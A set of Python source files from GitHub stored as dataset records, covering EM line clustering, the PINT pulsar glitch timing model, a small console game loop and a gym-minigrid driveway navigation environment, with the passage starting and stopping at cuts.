np.sum(w_Kn_tmp,axis=0)\r\n        w_Kn = w_Kn_tmp/sum_w_n\r\n        w_Kn[:,sum_w_n==0]=0\r\n        lam_K_new = np.mean(w_Kn,axis=1)\r\n        logl = np.log(np.dot(lam_K_new[None,:],pdf_Kn))# size(1,n)\r\n        logl = np.sum(logl)\r\n#        lam_K_new = lam_K_new/np.sum(lam_K_new)\r\n        return w_Kn,lam_K_new,logl\r\n    def run(self,tol=1e-4,MaxIt=1000):\r\n        \r\n        sigma2_K = self.sigma2_ini        \r\n        lam_K = self.lam_ini\r\n        beta_Km = self.beta_ini\r\n        beta_path = beta_Km\r\n        lam_path = lam_K\r\n        sigma2_path = sigma2_K\r\n        \r\n        er=100\r\n        it=0\r\n        w_Kn,lam_K,logl   = self.E_step(lam_K,beta_Km,sigma2_K)\r\n        logl_path=logl\r\n        while er>tol:            \r\n            beta_Km,sigma2_K = self.M_step(w_Kn)\r\n            w_Kn,lam_K,logl   = self.E_step(lam_K,beta_Km,sigma2_K)\r\n            # recording path\r\n            beta_path = np.dstack((beta_path,beta_Km))\r\n            lam_path = np.vstack((lam_path,lam_K))\r\n            sigma2_path = np.vstack((sigma2_path,sigma2_K))\r\n            logl_path = np.vstack((logl_path,logl))\r\n            # calculate error\r\n            er = np.abs(logl_path[-1]-logl_path[-2])\r\n            print('Iteration: %d, logl=%2.4f, err= %2.4f'  % (it,logl,er))\r\n            it=it+1\r\n        self.result = {'beta_Km':beta_Km,'sigma2_K':sigma2_K,'lam_K':lam_K}\r\n        self.path = {'beta':beta_path,'lam':lam_path,'sigma2':sigma2_path,'logl':logl_path}\r\n    def plot_result2D(self,MarkerSize = 50,savename=None):\r\n        beta_path = self.path['beta']\r\n        tt = np.arange(-15,15,1e-1)\r\n        X = self.data\r\n        fig = plt.figure(num=None, figsize=[5,5], dpi=80)\r\n        ax = fig.add_subplot(111)\r\n        ax.scatter(X[:,0],X[:,1],s=MarkerSize)\r\n        for k in range(self.K):\r\n            xx,yy = self.f(tt,*list(beta_path[k,:,-1]))\r\n            ax.plot(xx,yy)\r\n        ax.set_xlim([np.min(X[:,0]),np.max(X[:,0])])\r\n        ax.set_ylim([np.min(X[:,1]),np.max(X[:,1])])\r\n        ax.set_xticks([], []);ax.set_yticks([], []);\r\n        ax.set_title('EM algorithm results')\r\n        if savename is not None:\r\n            fig.tight_layout()\r\n            plt.savefig(savename+'.png')\r\n  \r\nclass EM_line_model(EM_cluster):\r\n    \r\n    def __init__(self,data,parms,surface_dim=1,result=None):\r\n        self.surface_dim = surface_dim\r\n        EM_cluster.__init__(self,data,parms,line,line_ini)\r\n        # Although I defined function line here, the program never use it.\r\n        \r\n    def fit_b(self,X_nd,wei):\r\n        \r\n        n,d = X_nd.shape\r\n        wi = wei[:n]\r\n        K = self.surface_dim\r\n        bparm = np.zeros(d+K*d)\r\n        \r\n        wi = wi[...,None]\r\n        wi = wi/np.sum(wi)\r\n#        if np.sum(wi_other>0)>d-1:#need at least d-1 points\r\n        Xbari = np.dot(wi.T,X_nd)#1-by-d\r\n        bparm[:d]=Xbari\r\n        Bi = X_nd-Xbari\r\n        BwBi = np.dot(Bi.T,(Bi*wi))\r\n        D,V = np.linalg.eig(BwBi)\r\n        ind = np.argsort(D)#sort from small to big\r\n        for k in np.arange(K):\r\n            v = V[:,ind[-k-1]]# the biggest eigenvector\r\n            v = v[...,None]\r\n            bparm[d+k*d:d+(k+1)*d]=v.flatten()*np.sign(v[0])\r\n        return bparm\r\n        \r\n    def err_fun(self,bparm,X_nd):\r\n        X_nd = X_nd.astype('float64')\r\n        n,d = X_nd.shape\r\n        Xbari = bparm[:d]\r\n        vec_nd= X_nd-Xbari\r\n        u = bparm[d:]\r\n        K = self.surface_dim\r\n        Eye = np.eye(d)\r\n        err = np.zeros((n,d))\r\n        for i in range(n):\r\n            veci = vec_nd[i,:]\r\n            veci = veci[None,...]\r\n            mat = np.zeros((d,d))\r\n            for k in range(K):\r\n                v = u[k*d:(k+1)*d]\r\n                v = v[...,None]\r\n                mat +=v*v.T\r\n            err[i,:] = np.dot(veci,Eye-mat)#%% size(2,1)\r\n        err_flat = err.flatten('F')\r\n        return err_flat\r\n    def fnp(self,t,*arg):\r\n        d = self.dim\r\n        K = self.surface_dim\r\n        xbari = arg[:d]\r\n        bp = arg[d:]\r\n        bp = np.reshape(bp,(K,d))\r\n        vec = np.sum(bp,axis=0)\r\n        y = xbari+t[:,None]*vec[None,:]\r\n        return y.T\r\ndef line(t,b0,b1,b2,b3):\r\n    x = b0 + b2*t\r\n    y = b1 + b3*t\r\n    return x,y\r\ndef line_ini(x,y):\r\n    d=2;K=1\r\n    X_nd = np.hstack((x[:,None],y[:,None]))\r\n    bparm = np.zeros(d+K*d)\r\n    Xbari = np.mean(X_nd,axis=0)#1-by-d\r\n    bparm[:d]=Xbari\r\n    Bi = X_nd-Xbari\r\n    BBi = np.dot(Bi.T,Bi)\r\n    D,V = np.linalg.eig(BBi)\r\n    ind = np.argsort(D)#sort from small to big\r\n    for k in np.arange(K):\r\n        v = V[:,ind[-k-1]]# the biggest eigenvector\r\n        v = v[...,None]\r\n        bparm[d+k*d:d+(k+1)*d]=v.flatten()*np.sign(v[0])\r\n    return bparm\r\ndef Linf_norm(X):\r\n    absx = np.abs(X)\r\n    tmp = absx.flatten(1)\r\n    return np.max(tmp)","repo_name":"wayinone/RRA","sub_path":"EM/EM_classify.py","file_name":"EM_classify.py","file_ext":"py","file_size_in_byte":12022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"10419625703","text":"\"\"\"Pulsar timing glitches.\"\"\"\nimport astropy.units as u\nimport numpy as np\n\nfrom loguru import logger as log\n\nfrom pint.models.parameter import prefixParameter\nfrom pint.models.timing_model import MissingParameter, PhaseComponent\nfrom pint.utils import split_prefixed_name\n\n\nclass Glitch(PhaseComponent):\n    \"\"\"Pulsar spin-down glitches.\n\n    Parameters supported:\n\n    .. paramtable::\n        :class: pint.models.glitch.Glitch\n    \"\"\"\n\n    @classmethod\n    def _description_glitch_phase(cls, x):\n        return \"Phase change for glitch %d\" % x\n\n    @classmethod\n    def _description_glitch_epoch(cls, x):\n        return \"Epoch of glitch %d\" % x\n\n    @classmethod\n    def _description_glitch_frequencychange(cls, x):\n        return (\"Permanent frequency change for glitch %d\" % x,)\n\n    @classmethod\n    def _description_glitch_frequencyderivativechange(cls, x):\n        return (\"Permanent frequency-derivative change for glitch %d\" % x,)\n\n    @classmethod\n    def _description_glitch_frequencysecondderivativechange(cls, x):\n        return (\"Permanent second frequency-derivative change for glitch %d\" % x,)\n\n    @classmethod\n    def _description_decaying_frequencychange(cls, x):\n        return \"Decaying frequency change for glitch %d \" % x\n\n    @classmethod\n    def _description_decaytimeconstant(cls, x):\n        return \"Decay time constant for glitch %d\" % x\n\n    register = True\n    category = \"glitch\"\n\n    def __init__(self):\n        super().__init__()\n\n        self.add_param(\n            prefixParameter(\n                name=\"GLPH_1\",\n                units=\"pulse phase\",\n                value=0.0,\n                description_template=self._description_glitch_phase,\n                type_match=\"float\",\n            )\n        )\n        self.add_param(\n            prefixParameter(\n                name=\"GLEP_1\",\n                units=\"MJD\",\n                description_template=self._description_glitch_epoch,\n                parameter_type=\"MJD\",\n                time_scale=\"tdb\",\n            )\n        )\n        self.add_param(\n            prefixParameter(\n                name=\"GLF0_1\",\n                units=\"Hz\",\n                value=0.0,\n                description_template=self._description_glitch_frequencychange,\n                type_match=\"float\",\n            )\n        )\n        self.add_param(\n            prefixParameter(\n                name=\"GLF1_1\",\n                units=\"Hz/s\",\n                value=0.0,\n                description_template=self._description_glitch_frequencyderivativechange,\n            )\n        )\n        self.add_param(\n            prefixParameter(\n                name=\"GLF2_1\",\n                units=\"Hz/s^2\",\n                value=0.0,\n                description_template=self._description_glitch_frequencysecondderivativechange,\n            )\n        )\n        self.add_param(\n            prefixParameter(\n                name=\"GLF0D_1\",\n                units=\"Hz\",\n                value=0.0,\n                description_template=self._description_decaying_frequencychange,\n                type_match=\"float\",\n            )\n        )\n\n        self.add_param(\n            prefixParameter(\n                name=\"GLTD_1\",\n                units=\"day\",\n                value=0.0,\n                description_template=self._description_decaytimeconstant,\n                type_match=\"float\",\n            )\n        )\n        self.phase_funcs_component += [self.glitch_phase]\n\n    def setup(self):\n        super().setup()\n        # Check for required glitch epochs, set not specified parameters to 0\n        self.glitch_prop = [\n            \"GLEP_\",\n            \"GLPH_\",\n            \"GLF0_\",\n            \"GLF1_\",\n            \"GLF2_\",\n            \"GLF0D_\",\n            \"GLTD_\",\n        ]\n        self.glitch_indices = [\n            getattr(self, y).index\n            for x in self.glitch_prop\n            for y in self.params\n            if x in y\n        ]\n        for idx in set(self.glitch_indices):\n            for param in self.glitch_prop:\n                if not hasattr(self, param + \"%d\" % idx):\n                    param0 = getattr(self, f\"{param}1\")\n                    self.add_param(param0.new_param(idx))\n                    getattr(self, param + \"%d\" % idx).value = 0.0\n                self.register_deriv_funcs(\n                    getattr(self, f\"d_phase_d_{param[:-1]}\"), param + \"%d\" % idx\n                )\n\n    def validate(self):\n        \"\"\"Validate parameters input.\"\"\"\n        super().validate()\n        for idx in set(self.glitch_indices):\n            if not hasattr(self, \"GLEP_%d\" % idx):\n                msg = \"Glitch Epoch is needed for Glitch %d.\" % idx\n                raise MissingParameter(\"Glitch\", \"GLEP_%d\" % idx, msg)\n            else:  # Check to see if both the epoch and phase are to be fit\n                if (\n                    hasattr(self, \"GLPH_%d\" % idx)\n                    and (not getattr(self, \"GLEP_%d\" % idx).frozen)\n                    and (not getattr(self, \"GLPH_%d\" % idx).frozen)\n                ):\n                    raise ValueError(\n                        \"Both the glitch epoch and phase cannot be fit for Glitch %d.\"\n                        % idx\n                    )\n\n        # Check the Decay Term.\n        glf0dparams = [x for x in self.params if x.startswith(\"GLF0D_\")]\n        for glf0dnm in glf0dparams:\n            glf0d = getattr(self, glf0dnm)\n            idx = glf0d.index\n            if glf0d.value != 0.0 and getattr(self, \"GLTD_%d\" % idx).value == 0.0:\n                msg = (\n                    \"None zero GLF0D_%d parameter needs a none\"\n                    \" zero GLTD_%d parameter\" % (idx, idx)\n                )\n                raise MissingParameter(\"Glitch\", \"GLTD_%d\" % idx, msg)\n\n    def print_par(self, format=\"pint\"):\n        result = \"\"\n        for idx in set(self.glitch_indices):\n            for param in self.glitch_prop:\n                par = getattr(self, param + \"%d\" % idx)\n                result += par.as_parfile_line(format=format)\n        return result\n\n    def glitch_phase(self, toas, delay):\n        \"\"\"Glitch phase function.\n        delay is the time delay from the TOA to time of pulse emission\n        at the pulsar, in seconds.\n        returns an array of phases in long double\n        \"\"\"\n        tbl = toas.table\n        phs = u.Quantity(np.zeros(toas.ntoas, dtype=np.longdouble))\n        glepnames = [x for x in self.params if x.startswith(\"GLEP_\")]\n        for glepnm in glepnames:\n            glep = getattr(self, glepnm)\n            idx = glep.index\n            eph = glep.value\n            dphs = getattr(self, \"GLPH_%d\" % idx).quantity\n            dF0 = getattr(self, \"GLF0_%d\" % idx).quantity\n            dF1 = getattr(self, \"GLF1_%d\" % idx).quantity\n            dF2 = getattr(self, \"GLF2_%d\" % idx).quantity\n            dt = (tbl[\"tdbld\"] - eph) * u.day - delay\n            dt = dt.to(u.second)\n            affected = dt > 0.0  # TOAs affected by glitch\n            # decay term\n            dF0D = getattr(self, \"GLF0D_%d\" % idx).quantity\n            if dF0D != 0.0:\n                tau = getattr(self, \"GLTD_%d\" % idx).quantity\n                decayterm = dF0D * tau * (1.0 - np.exp(-(dt[affected] / tau)))\n            else:\n                decayterm = 0.0 * u.Unit(\"\")\n\n            log.debug(f\"Glitch phase for glitch {idx}: {dphs} {dphs.unit}\")\n            phs[affected] += (\n                dphs\n                + dt[affected]\n                * (\n                    dF0\n                    + 0.5 * dt[affected] * dF1\n                    + 1.0 / 6.0 * dt[affected] * dt[affected] * dF2\n                )\n                + decayterm\n            )\n        return phs\n\n    def deriv_prep(self, toas, param, delay):\n        \"\"\"Get the things we need for any of the derivative calcs\"\"\"\n        tbl = toas.table\n        p, ids, idv = split_prefixed_name(param)\n        eph = getattr(self, f\"GLEP_{ids}\").value\n        dt = (tbl[\"tdbld\"] - eph) * u.day - delay\n        dt = dt.to(u.second)\n        affected = np.where(dt > 0.0)[0]\n        return tbl, p, ids, idv, dt, affected\n\n    def d_phase_d_GLPH(self, toas, param, delay):\n        \"\"\"Calculate the derivative wrt GLPH\"\"\"\n        tbl, p, ids, idv, dt, affected = self.deriv_prep(toas, param, delay)\n        if p != \"GLPH_\":\n            raise ValueError(\n                f\"Can not calculate d_phase_d_GLPH with respect to {param}.\"\n            )\n        par_GLPH = getattr(self, param)\n        dpdGLPH = np.zeros(len(tbl), dtype=np.longdouble) / par_GLPH.units\n        dpdGLPH[affected] += 1.0 / par_GLPH.units\n        return dpdGLPH\n\n    def d_phase_d_GLF0(self, toas, param, delay):\n        \"\"\"Calculate the derivative wrt GLF0\"\"\"\n        tbl, p, ids, idv, dt, affected = self.deriv_prep(toas, param, delay)\n        if p != \"GLF0_\":\n            raise ValueError(\n                f\"Can not calculate d_phase_d_GLF0 with respect to {param}.\"\n            )\n        par_GLF0 = getattr(self, param)\n        dpdGLF0 = np.zeros(len(tbl), dtype=np.longdouble) / par_GLF0.units\n        dpdGLF0[affected] = dt[affected]\n        return dpdGLF0\n\n    def d_phase_d_GLF1(self, toas, param, delay):\n        \"\"\"Calculate the derivative wrt GLF1\"\"\"\n        tbl, p, ids, idv, dt, affected = self.deriv_prep(toas, param, delay)\n        if p != \"GLF1_\":\n            raise ValueError(\n                f\"Can not calculate d_phase_d_GLF1 with respect to {param}.\"\n            )\n        par_GLF1 = getattr(self, param)\n        dpdGLF1 = np.zeros(len(tbl), dtype=np.longdouble) / par_GLF1.units\n        dpdGLF1[affected] += np.longdouble(0.5) * dt[affected] * dt[affected]\n        return dpdGLF1\n\n    def d_phase_d_GLF2(self, toas, param, delay):\n        \"\"\"Calculate the derivative wrt GLF1\"\"\"\n        tbl, p, ids, idv, dt, affected = self.deriv_prep(toas, param, delay)\n        if p != \"GLF2_\":\n            raise ValueError(\n                f\"Can not calculate d_phase_d_GLF2 with respect to {param}.\"\n            )\n        par_GLF2 = getattr(self, param)\n        dpdGLF2 = np.zeros(len(tbl), dtype=np.longdouble) / par_GLF2.units\n        dpdGLF2[affected] += (\n            np.longdouble(1.0) / 6.0 * dt[affected] * dt[affected] * dt[affected]\n        )\n        return dpdGLF2\n\n    def d_phase_d_GLF0D(self, toas, param, delay):\n        \"\"\"Calculate the derivative wrt GLF0D\"\"\"\n        tbl, p, ids, idv, dt, affected = self.deriv_prep(toas, param, delay)\n        if p != \"GLF0D_\":\n            raise ValueError(\n                f\"Can not calculate d_phase_d_GLF0D with respect to {param}.\"\n            )\n        par_GLF0D = getattr(self, param)\n        tau = getattr(self, \"GLTD_%d\" % idv).quantity\n        dpdGLF0D = np.zeros(len(tbl), dtype=np.longdouble) / par_GLF0D.units\n        dpdGLF0D[affected] += tau * (np.longdouble(1.0) - np.exp(-dt[affected] / tau))\n        return dpdGLF0D\n\n    def d_phase_d_GLTD(self, toas, param, delay):\n        \"\"\"Calculate the derivative wrt GLTD\"\"\"\n        tbl, p, ids, idv, dt, affected = self.deriv_prep(toas, param, delay)\n        if p != \"GLTD_\":\n            raise ValueError(\n                f\"Can not calculate d_phase_d_GLTD with respect to {param}.\"\n            )\n        par_GLTD = getattr(self, param)\n        if par_GLTD.value == 0.0:\n            return np.zeros(len(tbl), dtype=np.longdouble) / par_GLTD.units\n        glf0d = getattr(self, f\"GLF0D_{ids}\").quantity\n        tau = par_GLTD.quantity\n        dpdGLTD = np.zeros(len(tbl), dtype=np.longdouble) / par_GLTD.units\n        dpdGLTD[affected] += glf0d * (\n            np.longdouble(1.0) - np.exp(-dt[affected] / tau)\n        ) + glf0d * tau * (-np.exp(-dt[affected] / tau)) * dt[affected] / (tau * tau)\n        return dpdGLTD\n\n    def d_phase_d_GLEP(self, toas, param, delay):\n        \"\"\"Calculate the derivative wrt GLEP\"\"\"\n        tbl, p, ids, idv, dt, affected = self.deriv_prep(toas, param, delay)\n        if p != \"GLEP_\":\n            raise ValueError(\n                f\"Can not calculate d_phase_d_GLEP with respect to {param}.\"\n            )\n        par_GLEP = getattr(self, param)\n        glf0 = getattr(self, f\"GLF0_{ids}\").quantity\n        glf1 = getattr(self, f\"GLF1_{ids}\").quantity\n        glf2 = getattr(self, f\"GLF2_{ids}\").quantity\n        glf0d = getattr(self, f\"GLF0D_{ids}\").quantity\n        tau = getattr(self, f\"GLTD_{ids}\").quantity\n        dpdGLEP = np.zeros(len(tbl), dtype=np.longdouble) / par_GLEP.units\n        dpdGLEP[affected] += (\n            -glf0 + -glf1 * dt[affected] + -0.5 * glf2 * dt[affected] ** 2\n        )\n        if tau.value != 0.0:\n            dpdGLEP[affected] += -glf0d / np.exp(dt[affected] / tau)\n        return dpdGLEP\n","repo_name":"nanograv/PINT","sub_path":"src/pint/models/glitch.py","file_name":"glitch.py","file_ext":"py","file_size_in_byte":12568,"program_lang":"python","lang":"en","doc_type":"code","stars":112,"dataset":"github-code","pt":"79"}
+{"seq_id":"38784564799","text":"from exceptions import GameOver, EnemyDown\nfrom models import Player, Enemy\n\n\ndef play():\n    '''Запускаем  игру'''\n    \"You can see the scores result\"\n    player_name = input('Enter your name ')\n    lvl = 1\n    enemy = Enemy(lvl)\n    player = Player(player_name)\n\n    while True:\n\n        try:\n            player.attack(enemy)\n            player.defence(enemy)\n            # if not enemy.enemy_lives:\n            #     Player.player_score += 5\n        except EnemyDown:\n            player.player_score += 5\n            lvl += 1\n            enemy = Enemy(lvl)\n\n\nif __name__ == '__main__':\n    try:\n        play()\n    except GameOver as err:\n        err.save_score()\n        print('Game Over')\n    except KeyboardInterrupt:\n        pass\n    finally:\n        print('Good Bye!!!')\n","repo_name":"RomanDemianenko/praktika","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"25991260891","text":"from gym_minigrid.minigrid import *\nfrom gym_minigrid.register import register\n\nimport matplotlib.pyplot as plt\nfrom skimage.transform import resize\nimport os\nimport glob\nimport scipy.ndimage.morphology\nfrom dc2g.util import find_goal_inds, wrap, get_colormap_dict\nfrom PIL import Image\nimport numpy as np\n\ndir_path, _ = os.path.split(os.path.dirname(os.path.realpath(__file__)))\n\nclass DrivewayGrid(Grid):\n    def __init__(self, width, height, remember_seen_cells, use_semantic_coloring):\n        Grid.__init__(self, width, height)\n        self.remember_seen_cells = remember_seen_cells\n        self.use_semantic_coloring = use_semantic_coloring\n\nclass DrivewayActions(IntEnum):\n    # These are diff from the MiniGridEnv. TODO: Make them consistent\n    forward = 0\n    left = 1\n    right = 2\n\nclass DrivewayEnv(MiniGridEnv):\n    # Enumeration of possible actions\n\n    \"\"\"\n    Empty grid environment, no obstacles, sparse reward\n    Agent observes image of *entire* world, but only can \"see\" cells it has\n    seen at some point ==> we maintain which cells have been seen.\n    \"\"\"\n\n    def __init__(self, size=8):\n        self.finished_init = False\n        self.grid_size = size\n        self.reset_on_init = False\n        self.remember_seen_cells = True\n        self.use_semantic_coloring = True\n        self.visited_cells = []\n        MiniGridEnv.__init__(\n            self,\n            grid_size=size,\n            max_steps=500,\n            # max_steps=4*size*size,\n            # Set this to True for maximum speed\n            see_through_walls=False,\n            # reset_on_init=False,\n            # remember_seen_cells=True,\n            # use_semantic_coloring=True\n        )\n\n        # Observations are dictionaries containing an\n        # encoding of the grid and a textual 'mission' string\n        image_observation_space = spaces.Box(\n            low=0,\n            high=255,\n            shape=(self.grid_size, self.grid_size, 3),\n            dtype='uint8'\n        )\n        position_observation_space = spaces.Box(low=0, high=self.grid_size, shape=(2,), dtype='uint8')\n        theta_observation_space = spaces.Box(low=0, high=3, shape=(1,), dtype='uint8')\n        goal_observation_space = spaces.Box(low=0, high=self.grid_size, shape=(2,), dtype='uint8')\n        # self.observation_space = spaces.Tuple([position_observation_space, goal_observation_space])\n        # self.observation_space = image_observation_space\n        # self.observation_space = spaces.Box(low=0,high=self.grid_size, shape=(6,), dtype='uint8')\n        self.observation_space = spaces.Dict({\n            'semantic_gridmap': image_observation_space,\n            'pos': position_observation_space,\n            'theta_ind': theta_observation_space,\n            'goal_pos': goal_observation_space,\n        })\n\n        # Actions are discrete integer values: only allow forward/left/right/stop for now (no picking up/done)\n        self.action_space = spaces.Discrete(3)\n\n        # self.world_id = 30\n        # self.world_image_filename = '/home/mfe/code/dc2g/training_data/driveways_icra19/full_semantic/test/world' + str(self.world_id).zfill(3) + '.png'\n        # self.world_image_filename = '/home/mfe/code/dc2g/training_data/driveways_icra19/full_semantic/test/world' + str(self.world_id).zfill(3) + '.png'\n\n        self.set_camera_params()\n\n        # Probably don't need to call self.reset(), since the process running\n        # the env will need to capture the 1st obs anyway.\n        self.reset()\n        self.finished_init = True\n        self.actions = DrivewayActions\n\n    def reset(self):\n        if not self.reset_on_init and not self.finished_init:\n            return\n        \n        return super(DrivewayEnv, self).reset()\n\n    def _rand_choice(self, choices):\n        \"\"\"\n        Generate random choice btwn list of options\n        \"\"\"\n\n        index = self.np_random.randint(0, len(choices))\n        return choices[index]\n\n    def show_overlay(self):\n        # plt.figure(0)\n        traj_array = np.zeros((self.grid_size, self.grid_size, 4), dtype=np.uint8)\n        for pos in self.visited_cells:\n            traj_array[pos[1], pos[0], :] = 255\n\n        img = Image.fromarray(np.uint8(traj_array))\n        img = img.resize(self.render_background.size)\n        self.render_background.paste(img, (0, 0), img)\n        return self.render_background\n        # plt.imshow(self.render_background)\n        # plt.pause(1)\n\n    def set_difficulty_level(self, difficulty_level):\n        dataset = \"driveways_bing_iros19\"\n        image_type = \"full_semantic\"\n\n        image_filename = \"{dir_path}/data/datasets/{dataset}/{image_type}/{mode}/{world_id}{goal}.{extension}\"\n        worlds = {'training': {'mode': 'train', 'worlds': \"world*\"},\n                  'same_neighborhood': {'mode': 'test', 'worlds': \"worldn001*\"},\n                  'new_neighborhood': {'mode': 'test', 'worlds': \"worldn002*\"},\n                  'urban': {'mode': 'test', 'worlds': \"worldn004*\"},\n                  'test_scenario': {'mode': 'test', 'worlds': 'worldn002m002h011'}}\n        if difficulty_level == 'easy':\n            if dataset == \"driveways_bing_iros19\":\n                category = 'training'\n            # self.world_id = self._rand_int(25, 31)\n        elif difficulty_level == 'medium':\n            if dataset == \"driveways_bing_iros19\":\n                category = 'same_neighborhood'\n            # self.world_id = self._rand_int(31, 34)\n        elif difficulty_level == 'hard':\n            if dataset == \"driveways_bing_iros19\":\n                category = 'new_neighborhood'\n            # self.world_id = self._rand_int(34, 41)\n        elif difficulty_level == 'very_hard':\n            if dataset == \"driveways_bing_iros19\":\n                category = 'urban'\n        elif difficulty_level == 'test_scenario':\n            if dataset == \"driveways_bing_iros19\":\n                category = 'test_scenario'\n\n        image_filename_ = image_filename.format(\n            dir_path=dir_path,\n            dataset=dataset,\n            image_type=\"full_semantic\",\n            goal=\"\",\n            world_id=worlds[category]['worlds'],\n            mode=worlds[category]['mode'],\n            extension=\"png\")\n\n        world_id_filenames = glob.glob(image_filename_)\n\n        self.world_id = None\n        while self.world_id in [None, \"worldn001m001h002\", \"worldn002m001h003\"]:\n            self.world_image_filename = self._rand_choice(world_id_filenames)\n            self.world_id = self.world_image_filename.split('/')[-1].split('.')[0]\n\n        self.difficulty_level = difficulty_level\n\n        self.satellite_img_filename = image_filename.format(\n            dir_path=dir_path,\n            dataset=dataset,\n            image_type=\"raw\",\n            goal=\"\",\n            world_id=worlds[category]['worlds'],\n            mode=worlds[category]['mode'],\n            extension=\"jpg\"\n            )\n        # self.satellite_img = plt.imread(self.satellite_img_filename)\n\n        # self.render_background = Image.open(self.satellite_img_filename)\n        # self.render_background = self.render_background.resize([max(self.render_background.size), max(self.render_background.size)])\n\n    def _get_c2g_image(self, width, height):\n        # Construct path\n        path = self.world_image_filename.split(\"full_semantic\")[0]\n        mode = self.world_image_filename.split(\"/\")[-2]  # train, val, test\n        filename = self.world_image_filename.split(\"/\")[-1]  # e.g., worldn000m001h006.png\n        c2g_path = path + \"full_c2g/\" + mode + \"/\" + filename[:-4] + \"-front_door.png\"\n\n        # Post process image\n        image = plt.imread(c2g_path)  # shape: (row, column, 4)\n        image = image[:, :, 0:3]  # shape: (row, column, 3)\n\n        return resize(image, (height, width, 3), order=0)\n\n    def _gen_grid(self, width, height):\n        # Create an empty grid\n        self.grid = DrivewayGrid(width, height, remember_seen_cells=self.remember_seen_cells, use_semantic_coloring=self.use_semantic_coloring)\n\n        self.orig_world_array = resize(plt.imread(self.world_image_filename), (height,width,3), order=0)\n        assert height == self.orig_world_array.shape[0], \"height of loaded world doesn't match gridworld size\"\n        assert width == self.orig_world_array.shape[1], \"width of loaded world doesn't match gridworld size\"\n\n        # Get cost2distance image\n        self.c2g_image = self._get_c2g_image(width, height)\n\n        # Place a goal square\n        dataset = \"driveways_bing_iros19\"\n        goal_color_dict = get_colormap_dict(dataset)\n\n        gym_terrain_class_name_dict = {\n            # labels_colors name: regex for airsim object\n            \"road\": Road,\n            \"driveway\": Driveway,\n            \"path\": Path,\n            \"sidewalk\": Sidewalk,\n            \"front_door\": FrontDoor,\n            \"house\": House,\n            \"grass\": Grass,\n            \"car\": Car,\n            # \"__ignore__\": \"(?:fence|garden_chair|street_sign|stop_sign)[\\w]*\",\n        }\n\n        # # Initialize with an blank class\n        # for row in range(height):\n        #     for col in range(width):\n        #         self.grid.set(row, col, Blank(np.array([255, 255, 255])))\n\n        self.world_array = self.orig_world_array.copy()\n        for key in gym_terrain_class_name_dict:\n            try:\n                color = goal_color_dict[key]\n            except:\n                print(\"{key}'s color isn't defined in the labels_colors.csv file for this dataset.\".format(key=key))\n                continue\n            obj_name = gym_terrain_class_name_dict[key]\n            goal_array, inds, goal_inds_arr = find_goal_inds(self.world_array, color, \"object\")\n            for i in range(len(inds[0])):\n                self.grid.set(inds[1][i], inds[0][i], obj_name(255.*np.array(color)))\n            if obj_name == Path:\n                struct2 = scipy.ndimage.generate_binary_structure(2, 2)\n                goal_array = scipy.ndimage.morphology.binary_dilation(goal_array, struct2).astype(goal_array.dtype)\n                self.world_array[goal_array == 1] = color\n                inflated_inds = np.where(goal_array == 1)\n                for i in range(len(inflated_inds[0])):\n                    self.grid.set(inflated_inds[1][i], inflated_inds[0][i], obj_name(255.*np.array(color)))\n        \n        key = \"front_door\"\n        color = goal_color_dict[key]\n        obj_name = gym_terrain_class_name_dict[key]\n        goal_array, inds, goal_inds_arr = find_goal_inds(self.orig_world_array, color, \"object\")\n        self.world_array[goal_array == 1] = color\n        # for i in range(len(inds[0])):\n        i = 0\n        goal_worldobj = obj_name(255.*np.array(color))\n        self.grid.set(inds[1][i], inds[0][i], goal_worldobj)\n        self.goal_pos = [inds[1][i], inds[0][i]]\n\n        self.goal_worldobj_type = goal_worldobj.type\n\n        # self.start_pos = np.array([inds[1][i]+1, inds[0][i]+1])\n        # self.start_dir = 0\n\n        start_pos, start_dir = self.place_agent(max_tries=500, reject_fn=reject_untraversable)\n        self.start_pos = start_pos\n        self.start_dir = start_dir\n        \n        # self.place_agent(top=[9, 4], size=[5, 5], max_tries=500, reject_fn=reject_untraversable)\n        # print(\"setting agent at {}, {}\".format(self.start_pos, self.start_dir))\n        # self.start_pos = (9, 10)\n        # self.start_pos = (np.random.randint(7, 10), np.random.randint(5, 10))\n        # self.start_pos = (np.random.randint(2,15), np.random.randint(5, 15))\n        # self.start_dir = 0\n        # self.grid.wall_rect(0, 0, width, height)\n\n        self.mission = \"get to the yellow goal square\"\n\n    def set_camera_params(self):\n        self.camera_fov = np.pi/2 # full FOV in radians\n        self.camera_range_meters = 10. # range of sensor horizon in meters\n        self.world_size_m = np.array([100., 100.]) # meters of true world\n        grid_width = self.grid.width if hasattr(self, \"grid\") else self.grid_size\n        grid_height = self.grid.height if hasattr(self, \"grid\") else self.grid_size\n        self.grid_resolution_array = self.world_size_m / np.array([grid_width, grid_height]) # meters/gridcell\n        self.grid_resolution_array = self.world_size_m / np.array([grid_width, grid_height]) # meters/gridcell\n        self.camera_range_x = int(self.camera_range_meters / self.grid_resolution_array[0])  # range of sensor horizon in cells\n        self.camera_range_y = int(self.camera_range_meters / self.grid_resolution_array[1]) # range of sensor horizon in cells\n\n        self.grid_resolution = 1\n\n    def gen_obs_grid(self):\n        \"\"\"\n        Generate the sub-grid observed by the agent.\n        This method also outputs a visibility mask telling us which grid\n        cells the agent can actually see.\n        \"\"\"\n\n        self.set_camera_params()\n\n        grid_inds = np.indices((self.grid.height,self.grid.width))\n        grid_array = np.dstack([grid_inds[1], grid_inds[0]])\n        rel_pos = self.agent_pos.astype(np.float32) - grid_array\n        ellipse_r = rel_pos**2 / np.array([self.camera_range_x, self.camera_range_y])**2\n        r_inds = np.where(np.sum(ellipse_r, axis=2) <= 1)\n        angle_offset = wrap(np.arctan2(rel_pos[:,:,1], -rel_pos[:,:,0]) + wrap(np.pi * self.agent_dir / 2.0))\n        angle_offset_inds = np.where(abs(angle_offset) < (self.camera_fov/2))\n        r_inds_arr = np.dstack([r_inds[1], r_inds[0]])[0]\n        angle_offset_inds_arr = np.dstack([angle_offset_inds[1], angle_offset_inds[0]])[0]\n        observable_inds_arr = np.array([x for x in set(tuple(x) for x in r_inds_arr) & set(tuple(x) for x in angle_offset_inds_arr)])\n\n        for i in range(observable_inds_arr.shape[0]):\n            cell = self.grid.get(observable_inds_arr[i, 0], observable_inds_arr[i, 1])\n            if cell:\n                cell.has_been_seen = True\n        self.grid.get(*self.agent_pos).has_been_seen = True\n\n    def 